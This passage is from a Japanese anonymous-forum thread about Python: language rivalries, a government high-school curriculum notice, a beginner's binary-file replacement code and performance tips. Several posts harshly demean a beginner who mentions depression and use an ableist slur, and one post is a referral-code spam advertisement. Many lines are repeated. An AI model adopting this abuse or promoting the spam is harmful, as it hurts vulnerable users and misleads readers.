394デフォルトの名無しさん
2019/06/02(日) 12:56:43.90ID:A9OZ+7QR 広辞苑にはPythonもRubyも載っていない。PerlとAWKは載っている。
395デフォルトの名無しさん
2019/06/02(日) 17:08:23.87ID:UIpFJ6ej 小説にもなっている。主人公はBash。
AWK英雄物語
https://ncode.syosetu.com/n8418ff/ 👀
Rock54: Caution(BBR-MD5:0be20a4887bc3d3353f527d3636c44e3)
AWK英雄物語
https://ncode.syosetu.com/n8418ff/ 👀
Rock54: Caution(BBR-MD5:0be20a4887bc3d3353f527d3636c44e3)
396デフォルトの名無しさん
2019/06/02(日) 19:37:15.87ID:P158gOa4 目玉出てるぞ
397デフォルトの名無しさん
2019/06/02(日) 20:38:13.33ID:qdVA6LCN なんかギレン様の演説っぽいネタ書こうかと思ったけど面倒くさいからやめたw
とりあえず
ジークPython!!
とりあえず
ジークPython!!
398デフォルトの名無しさん
2019/06/03(月) 10:42:48.85ID:561P/qAZ 高等学校情報科(各学科に共通する教科)
http://www.mext.go.jp/a_menu/shotou/zyouhou/detail/1416746.htm
平成30年3月に公示した新高等学校学習指導要領に基づき、共通必履修科目「情報T」が新設され、内容の大幅な充実が予定されています。
高等学校情報科担当教員の指導力を高めることが一層重要となっていることから、文部科学省では、都道府県等の研修でも活用できる新学習指導要領に対応した教員研修用教材の作成を行いました。
本研修用教材を積極的にご活用いただき「情報T」を教える準備を進めるとともに、実際の授業等においてもご活用ください。
高等学校情報科「情報T」教員研修用教材(本編):文部科学省 (内容修正でリンク切れに)
表紙・はじめに・目次・序章 (PDF:8814KB)
本教材の使い方 (PDF:6610KB)
第1章情報社会の問題解決 (PDF:8487KB)
第2章コミュニケーションと情報デザイン (PDF:4538KB)
第3章コンピュータとプログラミング (PDF:9577KB)
第4章情報通信ネットワークとデータの活用 (PDF:14086KB)
(ウ) データの収集・整理・分析
(1) データの表現 尺度水準,量的データ,質的データ,データの形式,ビッグデータ
(2) データの収集と整理 Web スクレイピング,データクリーニング
(3) データの分析と評価 テキストマイニング,単回帰分析,可視化,評価指標
巻末 (PDF:819KB)
高等学校情報科「情報T」教員研修用教材(本編)
https://blogs.yahoo.co.jp/blogjidaiki/38075928.html
○第3章 コンピュータとプログラミング
ここでは Python3 によるプログラム例が出ている。
(現在pdf のリンク切れでダウンロードできない)
2019-05-20
高校生全員が「Python」を履修するかも。
「情報科」における学習内容、Pythonやmicro:bitが例示に挙がりましたが致命的なミスが!→訂正されました
https://blog.edunote.jp/entry/2019/05/20/050000
プログラム例を見ると Python3 になっている。
https://cdn-ak.f.st-hatena.com/images/fotolife/j/justsize/20190519/20190519213550.png
「JavaScript」や「VBA」「Swift」「ドリトル」などの言語で記述した場合の資料も順次公表する。
http://www.mext.go.jp/a_menu/shotou/zyouhou/detail/1416746.htm
平成30年3月に公示した新高等学校学習指導要領に基づき、共通必履修科目「情報T」が新設され、内容の大幅な充実が予定されています。
高等学校情報科担当教員の指導力を高めることが一層重要となっていることから、文部科学省では、都道府県等の研修でも活用できる新学習指導要領に対応した教員研修用教材の作成を行いました。
本研修用教材を積極的にご活用いただき「情報T」を教える準備を進めるとともに、実際の授業等においてもご活用ください。
高等学校情報科「情報T」教員研修用教材(本編):文部科学省 (内容修正でリンク切れに)
表紙・はじめに・目次・序章 (PDF:8814KB)
本教材の使い方 (PDF:6610KB)
第1章情報社会の問題解決 (PDF:8487KB)
第2章コミュニケーションと情報デザイン (PDF:4538KB)
第3章コンピュータとプログラミング (PDF:9577KB)
第4章情報通信ネットワークとデータの活用 (PDF:14086KB)
(ウ) データの収集・整理・分析
(1) データの表現 尺度水準,量的データ,質的データ,データの形式,ビッグデータ
(2) データの収集と整理 Web スクレイピング,データクリーニング
(3) データの分析と評価 テキストマイニング,単回帰分析,可視化,評価指標
巻末 (PDF:819KB)
高等学校情報科「情報T」教員研修用教材(本編)
https://blogs.yahoo.co.jp/blogjidaiki/38075928.html
○第3章 コンピュータとプログラミング
ここでは Python3 によるプログラム例が出ている。
(現在pdf のリンク切れでダウンロードできない)
2019-05-20
高校生全員が「Python」を履修するかも。
「情報科」における学習内容、Pythonやmicro:bitが例示に挙がりましたが致命的なミスが!→訂正されました
https://blog.edunote.jp/entry/2019/05/20/050000
プログラム例を見ると Python3 になっている。
https://cdn-ak.f.st-hatena.com/images/fotolife/j/justsize/20190519/20190519213550.png
「JavaScript」や「VBA」「Swift」「ドリトル」などの言語で記述した場合の資料も順次公表する。
399デフォルトの名無しさん
2019/06/03(月) 10:45:34.80ID:RzP7uBJU Ruby脂肪wwざまぁwwww
残当wwwww
残当wwwww
400デフォルトの名無しさん
2019/06/03(月) 10:48:18.27ID:RzP7uBJU しかしSwiftは意外だしドリトルに至っては誰やお前状態。
それぞれJavaとScratchでいいような気が…
あ、高校だしPythonやるんだからScratchはいらないかw
それぞれJavaとScratchでいいような気が…
あ、高校だしPythonやるんだからScratchはいらないかw
401デフォルトの名無しさん
2019/06/03(月) 11:26:03.33ID:NMMhu3n8 Rubyなんて誰にも通じない方言みたいなもんでしょ。
402デフォルトの名無しさん
2019/06/03(月) 11:34:25.42ID:561P/qAZ ドリトルってなんやと思ったら、大阪電気通信大学教授が作った簡単な教育用言語らしい。
SOV型の日本語の文法だから、日本人には受け入れられやすいそうだ。
200 歩く
いずれにしろこんなガラパゴス言語なんて取り扱うなよな。
Appleは昔から教育に力を入れてるし、micro:bit もSwift で動かせるようになっている。
iPadを導入している学校が多いからだろうな。
SOV型の日本語の文法だから、日本人には受け入れられやすいそうだ。
200 歩く
いずれにしろこんなガラパゴス言語なんて取り扱うなよな。
Appleは昔から教育に力を入れてるし、micro:bit もSwift で動かせるようになっている。
iPadを導入している学校が多いからだろうな。
403デフォルトの名無しさん
2019/06/03(月) 12:05:51.45ID:0DERidol >>369
なんでJulia使わんのやろ。
なんでJulia使わんのやろ。
405デフォルトの名無しさん
2019/06/03(月) 12:18:00.58ID:ZJy6OnVg Juliaは実質FORTRANやな
FORTRAN陣営から見たらJuliaなにそれ美味しいの?だし
Python陣営から見たらJuliaなにそれ美味しいの?なんだな
FORTRAN陣営から見たらJuliaなにそれ美味しいの?だし
Python陣営から見たらJuliaなにそれ美味しいの?なんだな
406デフォルトの名無しさん
2019/06/03(月) 12:22:29.73ID:561P/qAZ ルーピーの後はJulia廚か。 誰も使っていない言語を国の金で教育するメリットはない。
407デフォルトの名無しさん
2019/06/03(月) 12:47:09.94ID:WJCzotn8 Matzも呆れとったわ
何のためにJIS規格にしたのかと
…本当にJIS規格が役に立つと思ってたんかな〜?
何のためにJIS規格にしたのかと
…本当にJIS規格が役に立つと思ってたんかな〜?
408デフォルトの名無しさん
2019/06/03(月) 13:01:42.14ID:561P/qAZ >>404 Juliaは言うほど早くないぞ。 素因数分解したらPythonの方が早い。
409デフォルトの名無しさん
2019/06/03(月) 13:11:57.98ID:4oSq2JT3 AI教育という目的になってしまったから
ぶっちゃけRubyは出る幕ない
ぶっちゃけRubyは出る幕ない
410デフォルトの名無しさん
2019/06/03(月) 19:44:59.60ID:IhVV+kPx411デフォルトの名無しさん
2019/06/03(月) 20:09:43.71ID:3/CobnB+ どうせ主要なライブラリの中身はcなのにjulia速いとかバカなんじゃねーの?
412デフォルトの名無しさん
2019/06/04(火) 03:47:40.02ID:Z4hatvZh Pythonもコンパイルすれば早くなるんじゃないの
413デフォルトの名無しさん
2019/06/04(火) 05:43:24.04ID:/ArpXH0n >>412 それが Cython 。 JIT にするのがNumba
その内何もしなくてもJIT で動き始めるんじゃないのかな。
その内何もしなくてもJIT で動き始めるんじゃないのかな。
414デフォルトの名無しさん
2019/06/04(火) 09:15:34.73ID:/ArpXH0n >>413 PyPy がJIT コンパイル機能を持ってるみたいだな。
4倍早いみたい。 だんだんとこちらが中心になっていきそうな気がする。
4倍早いみたい。 だんだんとこちらが中心になっていきそうな気がする。
415デフォルトの名無しさん
2019/06/04(火) 09:18:40.01ID:DYrvoZh+ 10倍速くてもCモジュールの方が速いから無理
416デフォルトの名無しさん
2019/06/04(火) 09:22:45.77ID:DYrvoZh+ そもそもPyPyはCモジュールが遅くなる時点でお呼びではない
417デフォルトの名無しさん
2019/06/04(火) 09:31:14.75ID:/ArpXH0n >>416 誰と誰が喧嘩してるんだ? PyPy が4倍早いというのは、Cで書かれたCpython と比較しての話なんだけど?
418デフォルトの名無しさん
2019/06/04(火) 09:57:50.55ID:jFAGFsyF Cythonは実質Cコードを吐き出すだけじゃないの
419デフォルトの名無しさん
2019/06/04(火) 10:09:41.48ID:/ArpXH0n >>418 CPython は、全てCで書かれた本家のPython インタプリタ。 これが標準とみなされ Python といったらこれのこと。
Cython は、(特殊な)python コードをCに落としてコンパイルするコンパイラ。
Cython は、(特殊な)python コードをCに落としてコンパイルするコンパイラ。
420デフォルトの名無しさん
2019/06/04(火) 10:15:33.01ID:/ArpXH0n >>416 Cモジュールが遅くなるってどういう意味だ?
Cで書かれたライブラリのことか? そのまま使えばいいじゃん。
Cで書かれたライブラリのことか? そのまま使えばいいじゃん。
421デフォルトの名無しさん
2019/06/04(火) 10:48:29.61ID:uvNmGZET 翻訳されて 生の C になるからって言っても
PyObject * 毎回生成して
getattr して call しまくる C に変換されてるだけなら
そんなに劇的な速度差無いぜ
結局 numpy みたいなの使う方が速いし全体的にも効率的
PyObject * 毎回生成して
getattr して call しまくる C に変換されてるだけなら
そんなに劇的な速度差無いぜ
結局 numpy みたいなの使う方が速いし全体的にも効率的
422デフォルトの名無しさん
2019/06/04(火) 11:04:17.89ID:3AilBL3g 【速報】金券五百円分とすかいらーく優侍券をすぐもらえる
https://pbs.twimg.com/media/D8I_z1eVsAEQacJ.jpg
@ スマホでたいむばんくを入手
A 会員登録を済ませる
B マイページへ移動する
C 招待コード→招待コードを入力する [Rirz Tu](スペース抜き)
今なら更に4日18時までの登録で2倍の600円の紹介金を入手
クオカードとすかいらーく優待券を両方ゲットできます。
数分で出来ますのでご利用下さい
https://pbs.twimg.com/media/D8I_z1eVsAEQacJ.jpg
@ スマホでたいむばんくを入手
A 会員登録を済ませる
B マイページへ移動する
C 招待コード→招待コードを入力する [Rirz Tu](スペース抜き)
今なら更に4日18時までの登録で2倍の600円の紹介金を入手
クオカードとすかいらーく優待券を両方ゲットできます。
数分で出来ますのでご利用下さい
423デフォルトの名無しさん
2019/06/04(火) 13:00:09.35ID:5lBlAjbk424デフォルトの名無しさん
2019/06/04(火) 13:24:15.00ID:Pe5eEJ+g >>422
QUOゲット
QUOゲット
425デフォルトの名無しさん
2019/06/04(火) 13:30:16.42ID:0rQoK8jG ありがとう
426デフォルトの名無しさん
2019/06/04(火) 15:34:05.65ID:oF2K+2cj427デフォルトの名無しさん
2019/06/04(火) 15:59:44.40ID:XXr8i2SB >>422
一万請求されたぞふざけんな!
一万請求されたぞふざけんな!
428デフォルトの名無しさん
2019/06/04(火) 16:09:43.04ID:jFAGFsyF numpy使うのが最速だよな
cuPy入れれば勝手にGPU使って速くなるし
もはやCUDAの知識もいらない
AIエンジニアといってもライブラリ使うマンに成り下がってる自分に腹がたつ
cuPy入れれば勝手にGPU使って速くなるし
もはやCUDAの知識もいらない
AIエンジニアといってもライブラリ使うマンに成り下がってる自分に腹がたつ
429デフォルトの名無しさん
2019/06/04(火) 17:36:41.49ID:JjymHpsL >>420
ガイジは喋んなくていいよ
ガイジは喋んなくていいよ
430デフォルトの名無しさん
2019/06/04(火) 18:30:42.03ID:5jXXyAl7431デフォルトの名無しさん
2019/06/04(火) 18:36:50.86ID:Jyr2dHH9 Python使って自動運転させればF1ドライバーに勝てるんじゃ無いのか
AIだったら命知らずでぶっ飛ばせるしw
AIだったら命知らずでぶっ飛ばせるしw
432デフォルトの名無しさん
2019/06/05(水) 00:39:05.49ID:8Be+XBy4 >>431
問題点 車体価格
問題点 車体価格
433デフォルトの名無しさん
2019/06/05(水) 02:34:51.47ID:L0nmYMGT Python初心者です。質問の仕方や書き方など間違っているかもしれませんが、よろしくお願いします。
Python2.7を使っております。
.datのバイナリデータの検索と該当箇所を置き換えをやりたいのですが
open read replace またバイナリデータの格納や表示などWEBで見てトライしましたがうまくいきません。
Test.dat の 01 00 01 00 01 00 を 00 01 00 01 00 01 に書き換えるにはどういう記述方法になりますでしょうか?
Python2.7を使っております。
.datのバイナリデータの検索と該当箇所を置き換えをやりたいのですが
open read replace またバイナリデータの格納や表示などWEBで見てトライしましたがうまくいきません。
Test.dat の 01 00 01 00 01 00 を 00 01 00 01 00 01 に書き換えるにはどういう記述方法になりますでしょうか?
434デフォルトの名無しさん
2019/06/05(水) 02:39:40.49ID:L0nmYMGT 上記はhexedit などで見たところの16進数の表記のつもりで書かせていただいてます。
435デフォルトの名無しさん
2019/06/05(水) 03:39:08.62ID:pJvQ51Lo まずどう上手く行かなかったか書こう
エラーメッセージや途中経過重要
エラーメッセージや途中経過重要
436デフォルトの名無しさん
2019/06/05(水) 10:33:18.23ID:L0nmYMGT f = open(test.dat,rb)
data = f.read()
f.close()
print data
@<?>などのバイナリファイルをテキストエディタで開いた時の文字化けのような表示
(ここまでしかできません)
Aこれを16進数などに変換して該当箇所を任意16進で書き換え
Bバイナリファイルとして書き出し or 元データを上書き
のように考えております。よろしくお願いします。
data = f.read()
f.close()
print data
@<?>などのバイナリファイルをテキストエディタで開いた時の文字化けのような表示
(ここまでしかできません)
Aこれを16進数などに変換して該当箇所を任意16進で書き換え
Bバイナリファイルとして書き出し or 元データを上書き
のように考えております。よろしくお願いします。
437デフォルトの名無しさん
2019/06/05(水) 11:04:22.91ID:TJpsnTe7438デフォルトの名無しさん
2019/06/05(水) 11:57:22.22ID:L0nmYMGT ありがとうございます。早速見て見ましたが英語が苦手で訳しながらやったのですが
うまくいきませんでした。
.dat の read() を行なった後、dataに変数に入れて表示される<?>文字列?化け?
のようなものを16進数に変換する方法がわかりません。
data = [ f.read() ]
にすると
['¥x00¥x00¥x00¥x00¥x00¥x00¥x00¥x00']
に表示できるのですが
うまくいきませんでした。
.dat の read() を行なった後、dataに変数に入れて表示される<?>文字列?化け?
のようなものを16進数に変換する方法がわかりません。
data = [ f.read() ]
にすると
['¥x00¥x00¥x00¥x00¥x00¥x00¥x00¥x00']
に表示できるのですが
439デフォルトの名無しさん
2019/06/05(水) 12:30:21.89ID:SxBZ5bvb 馬鹿には無理
440デフォルトの名無しさん
2019/06/05(水) 12:45:38.14ID:L0nmYMGT すいませんでした。鬱病が原因で学校を辞めて
なんとかプログラミングのスキルを身につけて社会に出ようと努力してみたのですが
やはり、なかなか難しいです。
ありがとうございました。
なんとかプログラミングのスキルを身につけて社会に出ようと努力してみたのですが
やはり、なかなか難しいです。
ありがとうございました。
441デフォルトの名無しさん
2019/06/05(水) 12:47:43.39ID:KKGqCSfk 英語が苦手とか致命的では?
中学校からやり直した方が良いと思う
中学校からやり直した方が良いと思う
442デフォルトの名無しさん
2019/06/05(水) 12:49:59.68ID:ETZz2j+d Pythonは情報系の大卒以上か理系院卒以上でないと仕事ないよ
443デフォルトの名無しさん
2019/06/05(水) 13:11:20.66ID:TKKYwlvh その目的ならjavaかphpの方がいいな
444デフォルトの名無しさん
2019/06/05(水) 13:17:04.05ID:zgKRHSoo >>440
学校辞めたのなら、余計にプログラマー無理だろ
学校辞めたのなら、余計にプログラマー無理だろ
445デフォルトの名無しさん
2019/06/05(水) 13:33:28.47ID:iseE4LCd openの引数ってクオートしなくて良いの?
446デフォルトの名無しさん
2019/06/05(水) 13:35:00.88ID:Cxh3OVbN ネタでしょ
初心者はふつうバイナリデータいじらん、しかもPython2て
初心者はふつうバイナリデータいじらん、しかもPython2て
447デフォルトの名無しさん
2019/06/05(水) 13:35:18.79ID:Oo3xyqZm pythonでバイナリデータとか日本語扱うのはかなり面倒だよ
初心者は絶対ハマる
初心者は絶対ハマる
448デフォルトの名無しさん
2019/06/05(水) 13:36:18.80ID:L0nmYMGT import subprocess
import glob
File_Path = (glob.glob("*/test.dat"))
for i in range(len(File_Path)):
print File_Path[i]
file = open(File_Path[i],'rb')
data1 = [file.read()]
data2 = data1[0].replace("\x01\x00\x00\x00\x04\n\x00", "\x00\x00\x00\x00\x04\n\x00") .replace("\x02\x00\x00\x00\x00\x00\x00\x00", "\xf4\t\x00\x00\x00\x00\x00\x00")
file.close()
file = open(File_Path[i],'w')
file.write(data2)
file.close()
一ヶ月前からプログラミングはじめて書き方もよくわからないのですが、上のコードで一応動くようになりました。
修正御指南お願いします。
import glob
File_Path = (glob.glob("*/test.dat"))
for i in range(len(File_Path)):
print File_Path[i]
file = open(File_Path[i],'rb')
data1 = [file.read()]
data2 = data1[0].replace("\x01\x00\x00\x00\x04\n\x00", "\x00\x00\x00\x00\x04\n\x00") .replace("\x02\x00\x00\x00\x00\x00\x00\x00", "\xf4\t\x00\x00\x00\x00\x00\x00")
file.close()
file = open(File_Path[i],'w')
file.write(data2)
file.close()
一ヶ月前からプログラミングはじめて書き方もよくわからないのですが、上のコードで一応動くようになりました。
修正御指南お願いします。
449デフォルトの名無しさん
2019/06/05(水) 13:37:06.11ID:L0nmYMGT >>446
ネタじゃありません
ネタじゃありません
450デフォルトの名無しさん
2019/06/05(水) 13:58:54.05ID:zgKRHSoo >>448
学校に行けよ
学校に行けよ
451デフォルトの名無しさん
2019/06/05(水) 15:22:10.72ID:Vxwz5LZ9 出来てるんじゃないの?
バイナリファイルを表示して確認出来ないってこと?
ならバイナリエディタ使うとかLinuxならhexdumpで表示するとか?
バイナリとテキストの違いはわかるよね?
バイナリファイルを表示して確認出来ないってこと?
ならバイナリエディタ使うとかLinuxならhexdumpで表示するとか?
バイナリとテキストの違いはわかるよね?
452デフォルトの名無しさん
2019/06/05(水) 15:41:23.09ID:L0nmYMGT 一応動きましたが、納得いきませんで
> data1 = [file.read()]
data1をリスト格納によって
\x00 \x00 \x00 \x00 \x00
の表示取り扱いができるようになり、replaceも動くようになりました。
しかしリストに格納する意味は無いですし
***(data1)関数などで、表示できれば良いなと。調べてもわかりませんでした。
> data1 = [file.read()]
data1をリスト格納によって
\x00 \x00 \x00 \x00 \x00
の表示取り扱いができるようになり、replaceも動くようになりました。
しかしリストに格納する意味は無いですし
***(data1)関数などで、表示できれば良いなと。調べてもわかりませんでした。
453デフォルトの名無しさん
2019/06/05(水) 15:52:30.66ID:d0W0ZGzg プログラミングに向いてないというより人間を名乗らない方が良い
出来の悪いAIです
くらいにしとけ
出来の悪いAIです
くらいにしとけ
454デフォルトの名無しさん
2019/06/05(水) 16:03:53.07ID:jOdpsPyG ひでぇ
455デフォルトの名無しさん
2019/06/05(水) 16:25:46.98ID:Ge2qACax もしかして成長したアイちゃんでは?
最近見なかったが戻ってきたのか。
最近見なかったが戻ってきたのか。
456デフォルトの名無しさん
2019/06/05(水) 16:28:59.29ID:9wg8020H Pythonを極めればAIエンジニアとして生きていけると思うのは大きな勘違い、色んな言語を組み合わせる必要がある、と自称玄人は素人に良く言う
素人は他の言語もPythonもできないのにそんな事をわざわざ言ってどうなる
まずPythonだけでも勉強させてやれよ
素人は他の言語もPythonもできないのにそんな事をわざわざ言ってどうなる
まずPythonだけでも勉強させてやれよ
457デフォルトの名無しさん
2019/06/05(水) 17:35:44.64ID:Oo3xyqZm やる気あるのは良いことじゃね
独学でも挫折する人多いわけで
独学でも挫折する人多いわけで
458デフォルトの名無しさん
2019/06/05(水) 17:48:23.37ID:iU7KKE1l DEBUG=0っていうグローバル変数のあるモジュールをシェルから実行するときにこれをDEBUG=1にして実行する方法はありますか?
例えばmake DEBUG=1みたいな感じで。
例えばmake DEBUG=1みたいな感じで。
459デフォルトの名無しさん
2019/06/05(水) 18:00:53.41ID:qR/LRS8W >>458
自作のモジュールか何かで編集可能かつbashの場合
DEBUG=${DEBUG:=0}
と定義して呼び出すときに上書きできる
もし編集不可能ならそんな方法はないのでsedやawkで置き換えることになる
自作のモジュールか何かで編集可能かつbashの場合
DEBUG=${DEBUG:=0}
と定義して呼び出すときに上書きできる
もし編集不可能ならそんな方法はないのでsedやawkで置き換えることになる
460デフォルトの名無しさん
2019/06/05(水) 18:25:45.12ID:L0nmYMGT わかりました
うらみます
うらみます
461デフォルトの名無しさん
2019/06/05(水) 18:30:47.47ID:BqK4nqSF462デフォルトの名無しさん
2019/06/05(水) 18:32:40.92ID:3XxRby7F >>448
https://ideone.com/BCfi7E
に自分のセンスで書いた
採点すると
・不要なimportはしない
・globはファイルが複数ない場合は使わない
・[file.read()]の大カッコは不要
・変数名の大文字小文字の使い方がおかしい
https://ideone.com/BCfi7E
に自分のセンスで書いた
採点すると
・不要なimportはしない
・globはファイルが複数ない場合は使わない
・[file.read()]の大カッコは不要
・変数名の大文字小文字の使い方がおかしい
463デフォルトの名無しさん
2019/06/05(水) 18:33:31.82ID:iU7KKE1l464デフォルトの名無しさん
2019/06/05(水) 18:37:49.49ID:BqK4nqSF465デフォルトの名無しさん
2019/06/05(水) 18:54:50.98ID:kn0vanX8 申し訳ない
466デフォルトの名無しさん
2019/06/05(水) 19:44:33.90ID:vL5jkg3Y まじで病気だったなら5chなんかに来ないでスクールとかに通えよ
https://www.cyber-u.ac.jp/subject/python.html
タダで懇切丁寧に教えてもらおうとか頭おかしい
https://www.cyber-u.ac.jp/subject/python.html
タダで懇切丁寧に教えてもらおうとか頭おかしい
467デフォルトの名無しさん
2019/06/05(水) 19:53:05.76ID:lJmEqgzT >>466
教えたくない人は黙っていればいいんじゃないかな
教えたくない人は黙っていればいいんじゃないかな
468デフォルトの名無しさん
2019/06/05(水) 20:01:24.12ID:kn0vanX8 プログラミングの経験自体がないっぽいから
とりあえずはWebに転がってるサンプル入力して
結果を見て出来た!ってニヤけることから始めるべきかと。
数こなすことで出来ることと出来ないことが何となく分かってくる。
出来ないことをあれこれ考えて、出来る単位で作っていくのがプログラミング。
とりあえずはWebに転がってるサンプル入力して
結果を見て出来た!ってニヤけることから始めるべきかと。
数こなすことで出来ることと出来ないことが何となく分かってくる。
出来ないことをあれこれ考えて、出来る単位で作っていくのがプログラミング。
469デフォルトの名無しさん
2019/06/06(木) 00:46:39.08ID:Qxsak61t470デフォルトの名無しさん
2019/06/06(木) 03:21:45.18ID:3ui/AiH2 >>468
初心者用ブログにのってるコードをコピペでもいいからまずは自分で動かしてみるってのは良いよね
この値を変えたらこう動くだとか、このコードとあのコードを組み合わせたら、こう言う動きが出来るかもしれないなど組み立てる能力にも繋がるし
初心者用ブログにのってるコードをコピペでもいいからまずは自分で動かしてみるってのは良いよね
この値を変えたらこう動くだとか、このコードとあのコードを組み合わせたら、こう言う動きが出来るかもしれないなど組み立てる能力にも繋がるし
471デフォルトの名無しさん
2019/06/06(木) 05:33:20.19ID:dTLpbEEC 画像の中から特定の画像(拡大や縮小をされてても対応可能な)
見つけ出すコードを下さい。
見つけ出すコードを下さい。
472デフォルトの名無しさん
2019/06/06(木) 08:54:18.57ID:agV0OMSj >>463
sys.argvでググれ
sys.argvでググれ
473デフォルトの名無しさん
2019/06/06(木) 11:21:44.80ID:NTWs7n2j >>469 自分で調べもしないで聞くな。
r=['A','B','C']
rs=''.join(r)
ir=[1,2,3]
irs = ''.join(map(str,ir))
print(rs ,irs , list(rs), list(map(int,irs)))
#OUT ABC 123 ['A', 'B', 'C'] [1, 2, 3]
r=['A','B','C']
rs=''.join(r)
ir=[1,2,3]
irs = ''.join(map(str,ir))
print(rs ,irs , list(rs), list(map(int,irs)))
#OUT ABC 123 ['A', 'B', 'C'] [1, 2, 3]
474デフォルトの名無しさん
2019/06/06(木) 11:34:48.14ID:3EP1W6m+475デフォルトの名無しさん
2019/06/06(木) 12:45:35.43ID:cdOVZaEX >>469
そのものズバリならstructパッケージを使う
型がプリミティブ(intやfloat)ならnumpyでも可能
ファイルからならnumpy.fromfile
バイナリ配列ならnumpy.frombuffer
文字列ならnumpy.fromstring
dtypeでエンディアンも指定できる
そのものズバリならstructパッケージを使う
型がプリミティブ(intやfloat)ならnumpyでも可能
ファイルからならnumpy.fromfile
バイナリ配列ならnumpy.frombuffer
文字列ならnumpy.fromstring
dtypeでエンディアンも指定できる
476デフォルトの名無しさん
2019/06/06(木) 16:46:27.74ID:MmdtfHnB 安価の番号が違ってても気付かずにレスしまくってるのが
数名(見かけ上は)居るようだが気付いていないところを観ると
SCで自演しまくってるんだろうな
数名(見かけ上は)居るようだが気付いていないところを観ると
SCで自演しまくってるんだろうな
477デフォルトの名無しさん
2019/06/07(金) 14:17:21.06ID:DCcV1WZ2 >>476
dat壊れてない?
dat壊れてない?
478デフォルトの名無しさん
2019/06/07(金) 16:19:03.36ID:JkNsgHeN paizaのプログラミング問題みたいなやつでお勉強はじめたんだけど、Aランク問題になるとタイムアウトしまくる
whileや再帰をforに変えるとか色々やったけど通らないしアルゴリズムが問題なんだろうな
とはいえ模範解答もないし、色々模索しているが挫折しかけているよ…
ただ、こういった高速化のための考え方
みたいなものを学ぶのもきっといつか役立つのかなとも思う
whileや再帰をforに変えるとか色々やったけど通らないしアルゴリズムが問題なんだろうな
とはいえ模範解答もないし、色々模索しているが挫折しかけているよ…
ただ、こういった高速化のための考え方
みたいなものを学ぶのもきっといつか役立つのかなとも思う
479デフォルトの名無しさん
2019/06/07(金) 16:29:20.63ID:QdXw6XxC >>478 何か一つアップしてみたら?
480デフォルトの名無しさん
2019/06/07(金) 17:22:37.11ID:JkNsgHeN >>479
paizaの問題は転載ダメなんだ、すまん
paizaの問題は転載ダメなんだ、すまん
481デフォルトの名無しさん
2019/06/07(金) 18:52:53.64ID:17VMMr+p 探索問題?
482デフォルトの名無しさん
2019/06/07(金) 19:29:15.98ID:t7F5nOi/ なんとなくソートっぽい
483デフォルトの名無しさん
2019/06/07(金) 22:16:55.97ID:wtNNzOUb 計算量を落とす基本は、n^2 を、n log(n) の形にする事!
2^10 = 1,024 だから、2^20 = 百万。
ここで、データ数が百万の場合、百万 * 20 = 2千万になる!
一方、n^2 = 百万 * 百万 = 1兆
だから、log(n)の部分は、せいぜい、20〜50ぐらいだから無視できる!
つまり並べ替えて、ソートを使うのが速い!
だから、単純な2重ループになっていたら、ダメ!
ループの内側に、優先度キュー・2分ヒープなど、何らかのソートを使っていないと、ダメ!
2^10 = 1,024 だから、2^20 = 百万。
ここで、データ数が百万の場合、百万 * 20 = 2千万になる!
一方、n^2 = 百万 * 百万 = 1兆
だから、log(n)の部分は、せいぜい、20〜50ぐらいだから無視できる!
つまり並べ替えて、ソートを使うのが速い!
だから、単純な2重ループになっていたら、ダメ!
ループの内側に、優先度キュー・2分ヒープなど、何らかのソートを使っていないと、ダメ!
484デフォルトの名無しさん
2019/06/07(金) 22:27:46.33ID:iFZF9YQL 関数の中でグローバルな変数にアクセスするのはglobal宣言が必要ですが
リスト変数の場合はappendなどの操作をすると
宣言なしでグローバルなリスト変数にアクセスします
これを禁止するにはどうしたらいいでしょうか?
グローバルな変数にアクセスするときはすべて関数の引数として
渡して意図せず引数にないリストにアクセスしてしまうことは避けたいんです
リスト変数の場合はappendなどの操作をすると
宣言なしでグローバルなリスト変数にアクセスします
これを禁止するにはどうしたらいいでしょうか?
グローバルな変数にアクセスするときはすべて関数の引数として
渡して意図せず引数にないリストにアクセスしてしまうことは避けたいんです
485デフォルトの名無しさん
2019/06/07(金) 23:07:12.51ID:iFZF9YQL main 関数に相当するものを作ることにしました
486デフォルトの名無しさん
2019/06/08(土) 02:05:30.81ID:9yqPu4ja 何をなさる
487デフォルトの名無しさん
2019/06/08(土) 08:27:06.81ID:5drHbnb0 Pythonって継承ってライブラリの作者しか使わないんじゃね?って思った
抽象クラスの概念ないしポリモーフィズム簡単だし
抽象クラスの概念ないしポリモーフィズム簡単だし
488デフォルトの名無しさん
2019/06/08(土) 11:41:57.09ID:ryWt2Gls abstractなクラスも作れる
何ならinstance化禁止にも出来る
何ならinstance化禁止にも出来る
489デフォルトの名無しさん
2019/06/08(土) 12:20:56.35ID:9vptTvmT >>488
それって言語仕様じゃないでしょ?
それって言語仕様じゃないでしょ?
490デフォルトの名無しさん
2019/06/08(土) 12:39:59.66ID:sdBs9egv 標準ライブラリで実装されていることが言語仕様に入らないとか言い出すとasync awaitも言語仕様に文法は存在するけど何もしないコードになる
491デフォルトの名無しさん
2019/06/08(土) 12:59:07.72ID:JxaHk6L1 pythonでなくても最近は継承は否定的に見られてるだろ。
492デフォルトの名無しさん
2019/06/08(土) 13:07:52.88ID:T9GDbnq/ 継承無いと、オーバーロード擬きの判定がダックになって面倒この上ない
493デフォルトの名無しさん
2019/06/08(土) 14:18:21.59ID:JxaHk6L1 なるほど、人の迷惑になりそうなクソな書き方をしたい人か。
494デフォルトの名無しさん
2019/06/08(土) 16:19:29.84ID:g6YzXvGd 勝手に風潮作らないで
495デフォルトの名無しさん
2019/06/08(土) 16:36:25.60ID:wPg0m4E0 ヤバイくらいに言葉が足りてないなw
継承を悪用したアホな設計が蔓延した結果、継承は悪用されやすいので別の代替手段が模索されているという感じだ
例えばjavaは多重継承を禁止した結果、extendsに加えてimplementsなんてものがある
全部implementsでいいんでは?と昔ながらに思ったものだ
継承を悪用したアホな設計が蔓延した結果、継承は悪用されやすいので別の代替手段が模索されているという感じだ
例えばjavaは多重継承を禁止した結果、extendsに加えてimplementsなんてものがある
全部implementsでいいんでは?と昔ながらに思ったものだ
496デフォルトの名無しさん
2019/06/08(土) 19:03:56.74ID:CdSbqwtc そしてdefaultメソッドとか作る始末
497デフォルトの名無しさん
2019/06/09(日) 01:20:04.97ID:rn4C+nSw 継承は、Ruby on Rails とか、フレームワークの作者が作るもの。
それを使う方は、そのクラスを継承させて使う
フレームワークの作者以外が、継承を前提にしたクラスを書くのは、滅多にない
それを使う方は、そのクラスを継承させて使う
フレームワークの作者以外が、継承を前提にしたクラスを書くのは、滅多にない
498デフォルトの名無しさん
